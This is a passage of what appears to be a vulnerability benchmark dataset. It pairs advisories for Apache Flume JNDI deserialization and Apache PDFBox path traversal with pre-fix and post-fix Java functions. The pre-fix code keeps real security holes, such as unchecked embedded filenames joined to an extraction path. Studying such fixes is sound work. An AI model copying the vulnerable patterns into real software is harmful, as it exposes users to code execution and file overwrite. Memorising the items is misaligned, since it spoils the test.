JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, env, mbeanServer);\n NotificationFilterSupport filter = new NotificationFilterSupport();\n filter.enableType(JMXConnectionNotification.OPENED);\n filter.enableType(JMXConnectionNotification.CLOSED);\n filter.enableType(JMXConnectionNotification.FAILED);\n server.addNotificationListener(authenticator, filter, null);\n server.start();\n log.debug(\"Started JMXConnector \" + server.getAddress());\n }\n\n private static class GeronimoSslRMIServerSocketFactory implements RMIServerSocketFactory {\n private SSLServerSocketFactory sssf;\n private boolean clientAuth;\n private InetAddress bindAddress;\n " repo = "apache/geronimo" url = "https://github.com/apache/geronimo.git" [[case]] advisory = "GHSA-9w4g-fp9h-3q2v" advisory_text = "Apache Flume vulnerable to remote code execution via deserialization of unsafe providerURL\n\nFlume’s JMSSource class can be configured with a providerUrl parameter. A JNDI lookup is performed on this name without performing validation. This could result in untrusted data being deserialized, leading to remote code execution (RCE) attack when a configuration uses a JMS Source with an unsafe providerURL. This issue is fixed in version 1.11.0." commit = "eee179a09df405c1ab55ae25a53b76ca1050bb97" cwe = "CWE-502" family = "deserialization" function = "doProcess" function_lines = [[299, 355]] id = "apache-logging-flume-2f03541bca7f3237" language = "java" method = "fix_site" parent = "34f372222248e2a1014c502b888e37f4c3d0f356" path = "flume-ng-sources/flume-jms-source/src/main/java/org/apache/flume/source/jms/JMSSource.java" post_fix = " protected synchronized Status doProcess() throws EventDeliveryException {\n boolean error = true;\n try {\n if (consumer == null) {\n consumer = createConsumer();\n }\n List events = consumer.take();\n int size = events.size();\n if (size == 0) {\n error = false;\n return Status.BACKOFF;\n }\n sourceCounter.incrementAppendBatchReceivedCount();\n sourceCounter.addToEventReceivedCount(size);\n getChannelProcessor().processEventBatch(events);\n error = false;\n sourceCounter.addToEventAcceptedCount(size);\n sourceCounter.incrementAppendBatchAcceptedCount();\n return Status.READY;\n } catch (ChannelException channelException) {\n logger.warn(\"Error appending event to channel. \"\n + \"Channel might be full. Consider increasing the channel \"\n + \"capacity or make sure the sinks perform faster.\", channelException);\n sourceCounter.incrementChannelWriteFail();\n } catch (JMSException jmsException) {\n logger.warn(\"JMSException consuming events\", jmsException);\n if (++jmsExceptionCounter > errorThreshold && consumer != null) {\n logger.warn(\"Exceeded JMSException threshold, closing consumer\");\n sourceCounter.incrementEventReadFail();\n consumer.rollback();\n consumer.close();\n consumer = null;\n }\n } catch (Throwable throwable) {\n logger.error(\"Unexpected error processing events\", throwable);\n sourceCounter.incrementEventReadFail();\n if (throwable instanceof Error) {\n throw (Error) throwable;\n }\n } finally {\n if (error) {\n if (consumer != null) {\n consumer.rollback();\n }\n } else {\n if (consumer != null) {\n consumer.commit();\n jmsExceptionCounter = 0;\n }\n }\n }\n return Status.BACKOFF;\n }\n\n @Override" pre_fix = " protected synchronized Status doProcess() throws EventDeliveryException {\n boolean error = true;\n try {\n if (consumer == null) {\n consumer = createConsumer();\n }\n List events = consumer.take();\n int size = events.size();\n if (size == 0) {\n error = false;\n return Status.BACKOFF;\n }\n sourceCounter.incrementAppendBatchReceivedCount();\n sourceCounter.addToEventReceivedCount(size);\n getChannelProcessor().processEventBatch(events);\n error = false;\n sourceCounter.addToEventAcceptedCount(size);\n sourceCounter.incrementAppendBatchAcceptedCount();\n return Status.READY;\n } catch (ChannelException channelException) {\n logger.warn(\"Error appending event to channel. \"\n + \"Channel might be full. Consider increasing the channel \"\n + \"capacity or make sure the sinks perform faster.\", channelException);\n sourceCounter.incrementChannelWriteFail();\n } catch (JMSException jmsException) {\n logger.warn(\"JMSException consuming events\", jmsException);\n if (++jmsExceptionCounter > errorThreshold) {\n if (consumer != null) {\n logger.warn(\"Exceeded JMSException threshold, closing consumer\");\n sourceCounter.incrementEventReadFail();\n consumer.rollback();\n consumer.close();\n consumer = null;\n }\n }\n } catch (Throwable throwable) {\n logger.error(\"Unexpected error processing events\", throwable);\n sourceCounter.incrementEventReadFail();\n if (throwable instanceof Error) {\n throw (Error) throwable;\n }\n } finally {\n if (error) {\n if (consumer != null) {\n consumer.rollback();\n }\n } else {\n if (consumer != null) {\n consumer.commit();\n jmsExceptionCounter = 0;\n }\n }\n }\n return Status.BACKOFF;\n }\n\n @Override" repo = "apache/logging-flume" url = "https://github.com/apache/logging-flume.git" [[case]] advisory = "GHSA-9w4g-fp9h-3q2v" advisory_text = "Apache Flume vulnerable to remote code execution via deserialization of unsafe providerURL\n\nFlume’s JMSSource class can be configured with a providerUrl parameter. A JNDI lookup is performed on this name without performing validation. This could result in untrusted data being deserialized, leading to remote code execution (RCE) attack when a configuration uses a JMS Source with an unsafe providerURL. This issue is fixed in version 1.11.0." commit = "eee179a09df405c1ab55ae25a53b76ca1050bb97" cwe = "CWE-502" family = "deserialization" function = "doConfigure" function_lines = [[96, 289]] id = "apache-logging-flume-3a9f6e6ef1ab1349" language = "java" method = "fix_site" parent = "34f372222248e2a1014c502b888e37f4c3d0f356" path = "flume-ng-sources/flume-jms-source/src/main/java/org/apache/flume/source/jms/JMSSource.java" post_fix = " protected void doConfigure(Context context) throws FlumeException {\n sourceCounter = new SourceCounter(getName());\n\n initialContextFactoryName = context.getString(\n JMSSourceConfiguration.INITIAL_CONTEXT_FACTORY, \"\").trim();\n\n providerUrl = context.getString(JMSSourceConfiguration.PROVIDER_URL, \"\").trim();\n verifyContext(providerUrl);\n\n destinationName = context.getString(JMSSourceConfiguration.DESTINATION_NAME, \"\").trim();\n\n String destinationTypeName = context.getString(\n JMSSourceConfiguration.DESTINATION_TYPE, \"\").trim().toUpperCase(Locale.ENGLISH);\n\n String destinationLocatorName = context.getString(\n JMSSourceConfiguration.DESTINATION_LOCATOR,\n JMSSourceConfiguration.DESTINATION_LOCATOR_DEFAULT)\n .trim().toUpperCase(Locale.ENGLISH);\n\n messageSelector = context.getString(\n JMSSourceConfiguration.MESSAGE_SELECTOR, \"\").trim();\n\n batchSize = context.getInteger(JMSSourceConfiguration.BATCH_SIZE,\n JMSSourceConfiguration.BATCH_SIZE_DEFAULT);\n\n errorThreshold = context.getInteger(JMSSourceConfiguration.ERROR_THRESHOLD,\n JMSSourceConfiguration.ERROR_THRESHOLD_DEFAULT);\n\n userName = Optional.fromNullable(context.getString(JMSSourceConfiguration.USERNAME));\n\n pollTimeout = context.getLong(JMSSourceConfiguration.POLL_TIMEOUT,\n JMSSourceConfiguration.POLL_TIMEOUT_DEFAULT);\n\n clientId = Optional.fromNullable(context.getString(JMSSourceConfiguration.CLIENT_ID));\n\n createDurableSubscription = context.getBoolean(\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION, \n JMSSourceConfiguration.DEFAULT_CREATE_DURABLE_SUBSCRIPTION);\n durableSubscriptionName = context.getString(\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME, \n JMSSourceConfiguration.DEFAULT_DURABLE_SUBSCRIPTION_NAME);\n\n String passwordFile = context.getString(JMSSourceConfiguration.PASSWORD_FILE, \"\").trim();\n\n if (passwordFile.isEmpty()) {\n password = Optional.absent();\n } else {\n try {\n password = Optional.of(Files.toString(new File(passwordFile),\n Charsets.UTF_8).trim());\n } catch (IOException e) {\n throw new FlumeException(String.format(\n \"Could not read password file %s\", passwordFile), e);\n }\n }\n\n String converterClassName = context.getString(\n JMSSourceConfiguration.CONVERTER_TYPE,\n JMSSourceConfiguration.CONVERTER_TYPE_DEFAULT).trim();\n if (JMSSourceConfiguration.CONVERTER_TYPE_DEFAULT.equalsIgnoreCase(converterClassName)) {\n converterClassName = DefaultJMSMessageConverter.Builder.class.getName();\n }\n Context converterContext = new Context(context.getSubProperties(\n JMSSourceConfiguration.CONVERTER + \".\"));\n try {\n @SuppressWarnings(\"rawtypes\")\n Class clazz = Class.forName(converterClassName);\n boolean isBuilder = JMSMessageConverter.Builder.class\n .isAssignableFrom(clazz);\n if (isBuilder) {\n JMSMessageConverter.Builder builder = (JMSMessageConverter.Builder)clazz.newInstance();\n converter = builder.build(converterContext);\n } else {\n Preconditions.checkState(JMSMessageConverter.class.isAssignableFrom(clazz),\n String.format(\"Class %s is not a subclass of JMSMessageConverter\", clazz.getName()));\n converter = (JMSMessageConverter)clazz.newInstance();\n boolean configured = Configurables.configure(converter, converterContext);\n if (logger.isDebugEnabled()) {\n logger.debug(String.format(\"Attempted configuration of %s, result = %s\",\n converterClassName, String.valueOf(configured)));\n }\n }\n } catch (Exception e) {\n throw new FlumeException(String.format(\n \"Unable to create instance of converter %s\", converterClassName), e);\n }\n\n String connectionFactoryName = context.getString(\n JMSSourceConfiguration.CONNECTION_FACTORY,\n JMSSourceConfiguration.CONNECTION_FACTORY_DEFAULT).trim();\n verifyContext(connectionFactoryName);\n\n assertNotEmpty(initialContextFactoryName, String.format(\n \"Initial Context Factory is empty. This is specified by %s\",\n JMSSourceConfiguration.INITIAL_CONTEXT_FACTORY));\n\n assertNotEmpty(providerUrl, String.format(\n \"Provider URL is empty. This is specified by %s\",\n JMSSourceConfiguration.PROVIDER_URL));\n\n assertNotEmpty(destinationName, String.format(\n \"Destination Name is empty. This is specified by %s\",\n JMSSourceConfiguration.DESTINATION_NAME));\n\n assertNotEmpty(destinationTypeName, String.format(\n \"Destination Type is empty. This is specified by %s\",\n JMSSourceConfiguration.DESTINATION_TYPE));\n\n try {\n destinationType = JMSDestinationType.valueOf(destinationTypeName);\n } catch (IllegalArgumentException e) {\n throw new FlumeException(String.format(\"Destination type '%s' is \" +\n \"invalid.\", destinationTypeName), e);\n }\n\n if (createDurableSubscription) {\n if (JMSDestinationType.TOPIC != destinationType) {\n throw new FlumeException(String.format(\n \"Only Destination type '%s' supports durable subscriptions.\",\n JMSDestinationType.TOPIC.toString()));\n }\n if (!clientId.isPresent()) {\n throw new FlumeException(String.format(\n \"You have to specify '%s' when using durable subscriptions.\",\n JMSSourceConfiguration.CLIENT_ID));\n }\n if (StringUtils.isEmpty(durableSubscriptionName)) {\n throw new FlumeException(String.format(\"If '%s' is set to true, '%s' has to be specified.\",\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION,\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME));\n }\n } else if (!StringUtils.isEmpty(durableSubscriptionName)) {\n logger.warn(String.format(\"'%s' is set, but '%s' is false.\"\n + \"If you want to create a durable subscription, set %s to true.\",\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME,\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION,\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION));\n }\n\n try {\n destinationLocator = JMSDestinationLocator.valueOf(destinationLocatorName);\n } catch (IllegalArgumentException e) {\n throw new FlumeException(String.format(\"Destination locator '%s' is \" +\n \"invalid.\", destinationLocatorName), e);\n }\n\n Preconditions.checkArgument(batchSize > 0, \"Batch size must be greater than 0\");\n\n try {\n Properties contextProperties = new Properties();\n contextProperties.setProperty(\n javax.naming.Context.INITIAL_CONTEXT_FACTORY,\n initialContextFactoryName);\n contextProperties.setProperty(\n javax.naming.Context.PROVIDER_URL, providerUrl);\n\n // Provide properties for connecting via JNDI\n if (this.userName.isPresent()) {\n contextProperties.setProperty(javax.naming.Context.SECURITY_PRINCIPAL,\n this.userName.get());\n }\n if (this.password.isPresent()) {\n contextProperties.setProperty(javax.naming.Context.SECURITY_CREDENTIALS,\n this.password.get());\n }\n\n initialContext = initialContextFactory.create(contextProperties);\n } catch (NamingException e) {\n throw new FlumeException(String.format(\n \"Could not create initial context %s provider %s\",\n initialContextFactoryName, providerUrl), e);\n }\n\n try {\n connectionFactory = (ConnectionFactory) initialContext.lookup(connectionFactoryName);\n } catch (NamingException e) {\n throw new FlumeException(\"Could not lookup ConnectionFactory\", e);\n }\n }\n" pre_fix = " protected void doConfigure(Context context) throws FlumeException {\n sourceCounter = new SourceCounter(getName());\n\n initialContextFactoryName = context.getString(\n JMSSourceConfiguration.INITIAL_CONTEXT_FACTORY, \"\").trim();\n\n providerUrl = context.getString(JMSSourceConfiguration.PROVIDER_URL, \"\").trim();\n try {\n URI uri = new URI(providerUrl);\n String scheme = uri.getScheme();\n assertTrue(scheme == null || scheme.equals(JAVA_SCHEME),\n \"Unsupported JNDI URI: \" + providerUrl);\n } catch (URISyntaxException ex) {\n logger.warn(\"Invalid JNDI URI - {}\", providerUrl);\n }\n\n destinationName = context.getString(JMSSourceConfiguration.DESTINATION_NAME, \"\").trim();\n\n String destinationTypeName = context.getString(\n JMSSourceConfiguration.DESTINATION_TYPE, \"\").trim().toUpperCase(Locale.ENGLISH);\n\n String destinationLocatorName = context.getString(\n JMSSourceConfiguration.DESTINATION_LOCATOR,\n JMSSourceConfiguration.DESTINATION_LOCATOR_DEFAULT)\n .trim().toUpperCase(Locale.ENGLISH);\n\n messageSelector = context.getString(\n JMSSourceConfiguration.MESSAGE_SELECTOR, \"\").trim();\n\n batchSize = context.getInteger(JMSSourceConfiguration.BATCH_SIZE,\n JMSSourceConfiguration.BATCH_SIZE_DEFAULT);\n\n errorThreshold = context.getInteger(JMSSourceConfiguration.ERROR_THRESHOLD,\n JMSSourceConfiguration.ERROR_THRESHOLD_DEFAULT);\n\n userName = Optional.fromNullable(context.getString(JMSSourceConfiguration.USERNAME));\n\n pollTimeout = context.getLong(JMSSourceConfiguration.POLL_TIMEOUT,\n JMSSourceConfiguration.POLL_TIMEOUT_DEFAULT);\n\n clientId = Optional.fromNullable(context.getString(JMSSourceConfiguration.CLIENT_ID));\n\n createDurableSubscription = context.getBoolean(\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION, \n JMSSourceConfiguration.DEFAULT_CREATE_DURABLE_SUBSCRIPTION);\n durableSubscriptionName = context.getString(\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME, \n JMSSourceConfiguration.DEFAULT_DURABLE_SUBSCRIPTION_NAME);\n\n String passwordFile = context.getString(JMSSourceConfiguration.PASSWORD_FILE, \"\").trim();\n\n if (passwordFile.isEmpty()) {\n password = Optional.absent();\n } else {\n try {\n password = Optional.of(Files.toString(new File(passwordFile),\n Charsets.UTF_8).trim());\n } catch (IOException e) {\n throw new FlumeException(String.format(\n \"Could not read password file %s\", passwordFile), e);\n }\n }\n\n String converterClassName = context.getString(\n JMSSourceConfiguration.CONVERTER_TYPE,\n JMSSourceConfiguration.CONVERTER_TYPE_DEFAULT).trim();\n if (JMSSourceConfiguration.CONVERTER_TYPE_DEFAULT.equalsIgnoreCase(converterClassName)) {\n converterClassName = DefaultJMSMessageConverter.Builder.class.getName();\n }\n Context converterContext = new Context(context.getSubProperties(\n JMSSourceConfiguration.CONVERTER + \".\"));\n try {\n @SuppressWarnings(\"rawtypes\")\n Class clazz = Class.forName(converterClassName);\n boolean isBuilder = JMSMessageConverter.Builder.class\n .isAssignableFrom(clazz);\n if (isBuilder) {\n JMSMessageConverter.Builder builder = (JMSMessageConverter.Builder)clazz.newInstance();\n converter = builder.build(converterContext);\n } else {\n Preconditions.checkState(JMSMessageConverter.class.isAssignableFrom(clazz),\n String.format(\"Class %s is not a subclass of JMSMessageConverter\", clazz.getName()));\n converter = (JMSMessageConverter)clazz.newInstance();\n boolean configured = Configurables.configure(converter, converterContext);\n if (logger.isDebugEnabled()) {\n logger.debug(String.format(\"Attempted configuration of %s, result = %s\",\n converterClassName, String.valueOf(configured)));\n }\n }\n } catch (Exception e) {\n throw new FlumeException(String.format(\n \"Unable to create instance of converter %s\", converterClassName), e);\n }\n\n String connectionFactoryName = context.getString(\n JMSSourceConfiguration.CONNECTION_FACTORY,\n JMSSourceConfiguration.CONNECTION_FACTORY_DEFAULT).trim();\n try {\n URI uri = new URI(connectionFactoryName);\n String scheme = uri.getScheme();\n assertTrue(scheme == null || scheme.equals(JAVA_SCHEME),\n \"Unsupported JNDI URI: \" + connectionFactoryName);\n } catch (URISyntaxException ex) {\n logger.warn(\"Invalid JNDI URI - {}\", connectionFactoryName);\n }\n\n assertNotEmpty(initialContextFactoryName, String.format(\n \"Initial Context Factory is empty. This is specified by %s\",\n JMSSourceConfiguration.INITIAL_CONTEXT_FACTORY));\n\n assertNotEmpty(providerUrl, String.format(\n \"Provider URL is empty. This is specified by %s\",\n JMSSourceConfiguration.PROVIDER_URL));\n\n assertNotEmpty(destinationName, String.format(\n \"Destination Name is empty. This is specified by %s\",\n JMSSourceConfiguration.DESTINATION_NAME));\n\n assertNotEmpty(destinationTypeName, String.format(\n \"Destination Type is empty. This is specified by %s\",\n JMSSourceConfiguration.DESTINATION_TYPE));\n\n try {\n destinationType = JMSDestinationType.valueOf(destinationTypeName);\n } catch (IllegalArgumentException e) {\n throw new FlumeException(String.format(\"Destination type '%s' is \" +\n \"invalid.\", destinationTypeName), e);\n }\n\n if (createDurableSubscription) {\n if (JMSDestinationType.TOPIC != destinationType) {\n throw new FlumeException(String.format(\n \"Only Destination type '%s' supports durable subscriptions.\",\n JMSDestinationType.TOPIC.toString()));\n }\n if (!clientId.isPresent()) {\n throw new FlumeException(String.format(\n \"You have to specify '%s' when using durable subscriptions.\",\n JMSSourceConfiguration.CLIENT_ID));\n }\n if (StringUtils.isEmpty(durableSubscriptionName)) {\n throw new FlumeException(String.format(\"If '%s' is set to true, '%s' has to be specified.\",\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION,\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME));\n }\n } else if (!StringUtils.isEmpty(durableSubscriptionName)) {\n logger.warn(String.format(\"'%s' is set, but '%s' is false.\"\n + \"If you want to create a durable subscription, set %s to true.\",\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME,\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION,\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION));\n }\n\n try {\n destinationLocator = JMSDestinationLocator.valueOf(destinationLocatorName);\n } catch (IllegalArgumentException e) {\n throw new FlumeException(String.format(\"Destination locator '%s' is \" +\n \"invalid.\", destinationLocatorName), e);\n }\n\n Preconditions.checkArgument(batchSize > 0, \"Batch size must be greater than 0\");\n\n try {\n Properties contextProperties = new Properties();\n contextProperties.setProperty(\n javax.naming.Context.INITIAL_CONTEXT_FACTORY,\n initialContextFactoryName);\n contextProperties.setProperty(\n javax.naming.Context.PROVIDER_URL, providerUrl);\n\n // Provide properties for connecting via JNDI\n if (this.userName.isPresent()) {\n contextProperties.setProperty(javax.naming.Context.SECURITY_PRINCIPAL,\n this.userName.get());\n }\n if (this.password.isPresent()) {\n contextProperties.setProperty(javax.naming.Context.SECURITY_CREDENTIALS,\n this.password.get());\n }\n\n initialContext = initialContextFactory.create(contextProperties);\n } catch (NamingException e) {\n throw new FlumeException(String.format(\n \"Could not create initial context %s provider %s\",\n initialContextFactoryName, providerUrl), e);\n }\n\n try {\n connectionFactory = (ConnectionFactory) initialContext.lookup(connectionFactoryName);\n } catch (NamingException e) {\n throw new FlumeException(\"Could not lookup ConnectionFactory\", e);\n }\n }\n" repo = "apache/logging-flume" url = "https://github.com/apache/logging-flume.git" [[case]] advisory = "GHSA-9w4g-fp9h-3q2v" advisory_text = "Apache Flume vulnerable to remote code execution via deserialization of unsafe providerURL\n\nFlume’s JMSSource class can be configured with a providerUrl parameter. A JNDI lookup is performed on this name without performing validation. This could result in untrusted data being deserialized, leading to remote code execution (RCE) attack when a configuration uses a JMS Source with an unsafe providerURL. This issue is fixed in version 1.11.0." commit = "eee179a09df405c1ab55ae25a53b76ca1050bb97" cwe = "CWE-502" family = "deserialization" function = "JMSMessageConsumer" function_lines = [[56, 142]] id = "apache-logging-flume-9dd9e4ee8d0de85f" language = "java" method = "fix_site" parent = "34f372222248e2a1014c502b888e37f4c3d0f356" path = "flume-ng-sources/flume-jms-source/src/main/java/org/apache/flume/source/jms/JMSMessageConsumer.java" post_fix = " JMSMessageConsumer(InitialContext initialContext, ConnectionFactory connectionFactory,\n String destinationName, JMSDestinationLocator destinationLocator,\n JMSDestinationType destinationType, String messageSelector, int batchSize,\n long pollTimeout, JMSMessageConverter messageConverter,\n Optional userName, Optional password,\n Optional clientId, boolean createDurableSubscription,\n String durableSubscriptionName) {\n this.batchSize = batchSize;\n this.pollTimeout = pollTimeout;\n this.messageConverter = messageConverter;\n Preconditions.checkArgument(batchSize > 0, \"Batch size must be greater \"\n + \"than zero\");\n Preconditions.checkArgument(pollTimeout >= 0, \"Poll timeout cannot be \" +\n \"negative\");\n\n try {\n try {\n if (userName.isPresent()) {\n connection = connectionFactory.createConnection(userName.get(), password.get());\n } else {\n connection = connectionFactory.createConnection();\n }\n if (clientId.isPresent()) {\n connection.setClientID(clientId.get());\n }\n connection.start();\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create connection to broker\", e);\n }\n\n try {\n session = connection.createSession(true, Session.SESSION_TRANSACTED);\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create session\", e);\n }\n\n try {\n if (destinationLocator.equals(JMSDestinationLocator.CDI)) {\n switch (destinationType) {\n case QUEUE:\n destination = session.createQueue(destinationName);\n break;\n case TOPIC:\n destination = session.createTopic(destinationName);\n break;\n default:\n throw new IllegalStateException(String.valueOf(destinationType));\n }\n } else {\n JMSSource.verifyContext(destinationName);\n destination = (Destination) initialContext.lookup(destinationName);\n }\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create destination \" + destinationName, e);\n } catch (NamingException e) {\n throw new FlumeException(\"Could not find destination \" + destinationName, e);\n }\n\n try {\n if (createDurableSubscription) {\n messageConsumer = session.createDurableSubscriber(\n (Topic) destination, durableSubscriptionName,\n messageSelector.isEmpty() ? null : messageSelector, true);\n } else {\n messageConsumer = session.createConsumer(destination,\n messageSelector.isEmpty() ? null : messageSelector);\n }\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create consumer\", e);\n }\n String startupMsg = String.format(\"Connected to '%s' of type '%s' with \" +\n \"user '%s', batch size '%d', selector '%s' \", destinationName,\n destinationType, userName.isPresent() ? userName.get() : \"null\",\n batchSize, messageSelector.isEmpty() ? null : messageSelector);\n logger.info(startupMsg);\n } catch (Exception e) {\n close();\n throw e;\n }\n }" pre_fix = " JMSMessageConsumer(InitialContext initialContext, ConnectionFactory connectionFactory,\n String destinationName, JMSDestinationLocator destinationLocator,\n JMSDestinationType destinationType, String messageSelector, int batchSize,\n long pollTimeout, JMSMessageConverter messageConverter,\n Optional userName, Optional password,\n Optional clientId, boolean createDurableSubscription,\n String durableSubscriptionName) {\n this.batchSize = batchSize;\n this.pollTimeout = pollTimeout;\n this.messageConverter = messageConverter;\n Preconditions.checkArgument(batchSize > 0, \"Batch size must be greater \"\n + \"than zero\");\n Preconditions.checkArgument(pollTimeout >= 0, \"Poll timeout cannot be \" +\n \"negative\");\n\n try {\n try {\n if (userName.isPresent()) {\n connection = connectionFactory.createConnection(userName.get(), password.get());\n } else {\n connection = connectionFactory.createConnection();\n }\n if (clientId.isPresent()) {\n connection.setClientID(clientId.get());\n }\n connection.start();\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create connection to broker\", e);\n }\n\n try {\n session = connection.createSession(true, Session.SESSION_TRANSACTED);\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create session\", e);\n }\n\n try {\n if (destinationLocator.equals(JMSDestinationLocator.CDI)) {\n switch (destinationType) {\n case QUEUE:\n destination = session.createQueue(destinationName);\n break;\n case TOPIC:\n destination = session.createTopic(destinationName);\n break;\n default:\n throw new IllegalStateException(String.valueOf(destinationType));\n }\n } else {\n try {\n URI uri = new URI(destinationName);\n String scheme = uri.getScheme();\n assertTrue(scheme == null || scheme.equals(JAVA_SCHEME),\n \"Unsupported JNDI URI: \" + destinationName);\n } catch (URISyntaxException ex) {\n logger.warn(\"Invalid JNDI URI - {}\", destinationName);\n }\n destination = (Destination) initialContext.lookup(destinationName);\n }\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create destination \" + destinationName, e);\n } catch (NamingException e) {\n throw new FlumeException(\"Could not find destination \" + destinationName, e);\n }\n\n try {\n if (createDurableSubscription) {\n messageConsumer = session.createDurableSubscriber(\n (Topic) destination, durableSubscriptionName,\n messageSelector.isEmpty() ? null : messageSelector, true);\n } else {\n messageConsumer = session.createConsumer(destination,\n messageSelector.isEmpty() ? null : messageSelector);\n }\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create consumer\", e);\n }\n String startupMsg = String.format(\"Connected to '%s' of type '%s' with \" +\n \"user '%s', batch size '%d', selector '%s' \", destinationName,\n destinationType, userName.isPresent() ? userName.get() : \"null\",\n batchSize, messageSelector.isEmpty() ? null : messageSelector);\n logger.info(startupMsg);\n } catch (Exception e) {\n close();\n throw e;\n }\n }" repo = "apache/logging-flume" url = "https://github.com/apache/logging-flume.git" [[case]] advisory = "GHSA-jjwr-xmw6-gf78" advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted." commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7" cwe = "CWE-22" family = "path" function = "extractFiles" function_lines = [[126, 139]] id = "apache-pdfbox-11311474dc9fddbd" language = "java" method = "fix_site" parent = "daaead9069d562e166918d461191c89773e51f90" path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java" post_fix = " private static void extractFiles(Map names, String directoryPath) \n throws IOException\n {\n for (Entry entry : names.entrySet())\n {\n PDComplexFileSpecification complexFileSpec = entry.getValue();\n PDEmbeddedFile embeddedFile = getEmbeddedFile(complexFileSpec);\n if (embeddedFile != null)\n {\n extractFile(complexFileSpec.getFilename(), embeddedFile, directoryPath);\n }\n }\n }\n" pre_fix = " private static void extractFiles(Map names, String filePath) \n throws IOException\n {\n for (Entry entry : names.entrySet())\n {\n PDComplexFileSpecification fileSpec = entry.getValue();\n PDEmbeddedFile embeddedFile = getEmbeddedFile(fileSpec);\n if (embeddedFile != null)\n {\n extractFile(filePath, fileSpec.getFilename(), embeddedFile);\n }\n }\n }\n" repo = "apache/pdfbox" url = "https://github.com/apache/pdfbox.git" [[case]] advisory = "GHSA-jjwr-xmw6-gf78" advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted." commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7" cwe = "CWE-22" family = "path" function = "try" function_lines = [[66, 81]] id = "apache-pdfbox-3dc4e739d0307166" language = "java" method = "fix_site" parent = "daaead9069d562e166918d461191c89773e51f90" path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java" post_fix = " try (PDDocument document = Loader.loadPDF(pdfFile))\n {\n PDDocumentNameDictionary namesDictionary =\n new PDDocumentNameDictionary(document.getDocumentCatalog());\n PDEmbeddedFilesNameTreeNode efTree = namesDictionary.getEmbeddedFiles();\n if (efTree != null)\n {\n extractFilesFromEFTree(efTree, directoryPath);\n }\n\n // extract files from page annotations\n for (PDPage page : document.getPages())\n {\n extractFilesFromPage(page, directoryPath);\n }\n }" pre_fix = " try (PDDocument document = Loader.loadPDF(pdfFile))\n {\n PDDocumentNameDictionary namesDictionary =\n new PDDocumentNameDictionary(document.getDocumentCatalog());\n PDEmbeddedFilesNameTreeNode efTree = namesDictionary.getEmbeddedFiles();\n if (efTree != null)\n {\n extractFilesFromEFTree(efTree, filePath);\n }\n\n // extract files from page annotations\n for (PDPage page : document.getPages())\n {\n extractFilesFromPage(page, filePath);\n }\n }" repo = "apache/pdfbox" url = "https://github.com/apache/pdfbox.git" [[case]] advisory = "GHSA-jjwr-xmw6-gf78" advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted." commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7" cwe = "CWE-22" family = "path" function = "extractFilesFromPage" function_lines = [[84, 104]] id = "apache-pdfbox-56ad35de6b5478ab" language = "java" method = "fix_site" parent = "daaead9069d562e166918d461191c89773e51f90" path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java" post_fix = " private static void extractFilesFromPage(PDPage page, String directoryPath) throws IOException\n {\n for (PDAnnotation annotation : page.getAnnotations())\n {\n if (annotation instanceof PDAnnotationFileAttachment)\n {\n PDAnnotationFileAttachment annotationFileAttachment = (PDAnnotationFileAttachment) annotation;\n PDFileSpecification fileSpec = annotationFileAttachment.getFile();\n if (fileSpec instanceof PDComplexFileSpecification)\n {\n PDComplexFileSpecification complexFileSpec = 